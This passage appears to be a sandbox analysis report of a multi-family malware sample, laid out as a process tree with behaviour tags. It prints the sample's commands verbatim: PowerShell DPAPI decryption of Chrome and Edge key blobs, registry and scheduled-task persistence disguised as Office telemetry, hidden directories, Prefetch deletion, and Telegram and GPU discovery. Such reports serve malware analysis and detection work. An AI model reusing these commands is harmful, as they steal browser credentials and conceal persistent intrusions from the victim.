                                                                                                                                                                                                                                                            powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                            • Network Service Discovery
                                                                                                                                                                                                                                                            PID:120
                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:3656
                                                                                                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                              wmic path win32_VideoController get name
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                              • Detects videocard installed
                                                                                                                                                                                                                                                              PID:2936
                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\.d3a48d77cache""
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Hide Artifacts: Hidden Files and Directories
                                                                                                                                                                                                                                                            PID:2408
                                                                                                                                                                                                                                                            • C:\Windows\system32\attrib.exe
                                                                                                                                                                                                                                                              attrib +h +s "C:\Users\Admin\AppData\Roaming\.d3a48d77cache"
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                              • Views/modifies file attributes
                                                                                                                                                                                                                                                              PID:5620
                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.d3a48d77cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f"
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:2436
                                                                                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.d3a48d77cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:1684
                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.d3a48d77cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest"
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:5672
                                                                                                                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                    schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.d3a48d77cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                    PID:5512
                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_3016c22b4b4e4480.dat""
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Hide Artifacts: Hidden Files and Directories
                                                                                                                                                                                                                                                                  PID:2736
                                                                                                                                                                                                                                                                  • C:\Windows\system32\attrib.exe
                                                                                                                                                                                                                                                                    attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_3016c22b4b4e4480.dat"
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                    • Views/modifies file attributes
                                                                                                                                                                                                                                                                    PID:3624
                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\Environment" /v UserInitMprLogonScript /f"
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:2688
                                                                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                      reg delete "HKCU\Environment" /v UserInitMprLogonScript /f
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:4328
                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "del /q /f /s "%windir%\Prefetch\*.pf""
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:1872
                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "start "" "C:\Users\Admin\AppData\Local\Temp\sd_1784065420915.bat""
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:4476
                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\sd_1784065420915.bat"
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:1564
                                                                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                timeout /t 5
                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                PID:3064
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\.d3a48d77cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\.d3a48d77cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                            PID:4392
                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 5424" /FO CSV /NH"
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:5964
                                                                                                                                                                                                                                                                                • C:\Windows\system32\tasklist.exe
                                                                                                                                                                                                                                                                                  tasklist /FI "PID eq 5424" /FO CSV /NH
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                  • Enumerates processes with tasklist
                                                                                                                                                                                                                                                                                  PID:3704
                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Telegram Desktop" /v "path""
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:5148
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                    reg query "HKCU\Software\Telegram Desktop" /v "path"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:1372
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:1548
                                                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                        powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                        PID:1736
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                      • Network Service Discovery
                                                                                                                                                                                                                                                                                      PID:4812
                                                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                        powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                        • Network Service Discovery
                                                                                                                                                                                                                                                                                        PID:1444
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:6104
                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                          wmic path win32_VideoController get name
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                          • Detects videocard installed
                                                                                                                                                                                                                                                                                          PID:5044
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\.597a5226cache""
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                        • Hide Artifacts: Hidden Files and Directories
                                                                                                                                                                                                                                                                                        PID:4176
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\attrib.exe
                                                                                                                                                                                                                                                                                          attrib +h +s "C:\Users\Admin\AppData\Roaming\.597a5226cache"
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                          • Views/modifies file attributes
                                                                                                                                                                                                                                                                                          PID:1132
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.597a5226cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f"
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:2340
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                            reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.597a5226cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:4140
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.597a5226cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest"
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:2344
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.597a5226cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                PID:4852
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_8e635a7657b450fb.dat""
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                              • Hide Artifacts: Hidden Files and Directories
                                                                                                                                                                                                                                                                                              PID:6068
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\attrib.exe
                                                                                                                                                                                                                                                                                                attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_8e635a7657b450fb.dat"
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                • Views/modifies file attributes
                                                                                                                                                                                                                                                                                                PID:848
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\Environment" /v UserInitMprLogonScript /f"
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:3000
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                  reg delete "HKCU\Environment" /v UserInitMprLogonScript /f
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:3800
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "del /q /f /s "%windir%\Prefetch\*.pf""
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:4204
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "start "" "C:\Users\Admin\AppData\Local\Temp\sd_1784065426933.bat""
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:3980
                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\sd_1784065426933.bat"
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:1892
                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                            timeout /t 5
                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                            PID:2152
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\.597a5226cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Roaming\.597a5226cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                        PID:1764
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 5096" /FO CSV /NH"
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:4360
                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\tasklist.exe
                                                                                                                                                                                                                                                                                                              tasklist /FI "PID eq 5096" /FO CSV /NH
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                              • Enumerates processes with tasklist
                                                                                                                                                                                                                                                                                                              PID:1228
                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Telegram Desktop" /v "path""
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:4640
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                reg query "HKCU\Software\Telegram Desktop" /v "path"
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:1492
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                  PID:1872
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                    powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                    PID:2112
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                  • Network Service Discovery
                                                                                                                                                                                                                                                                                                                  PID:5660
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                    powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                    • Network Service Discovery
                                                                                                                                                                                                                                                                                                                    PID:4540
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                    PID:4536
                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                      wmic path win32_VideoController get name
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                      • Detects videocard installed
                                                                                                                                                                                                                                                                                                                      PID:4444
                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\.5d811139cache""
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                    • Hide Artifacts: Hidden Files and Directories
                                                                                                                                                                                                                                                                                                                    PID:4948
                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\attrib.exe
                                                                                                                                                                                                                                                                                                                      attrib +h +s "C:\Users\Admin\AppData\Roaming\.5d811139cache"
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                      • Views/modifies file attributes
                                                                                                                                                                                                                                                                                                                      PID:4252
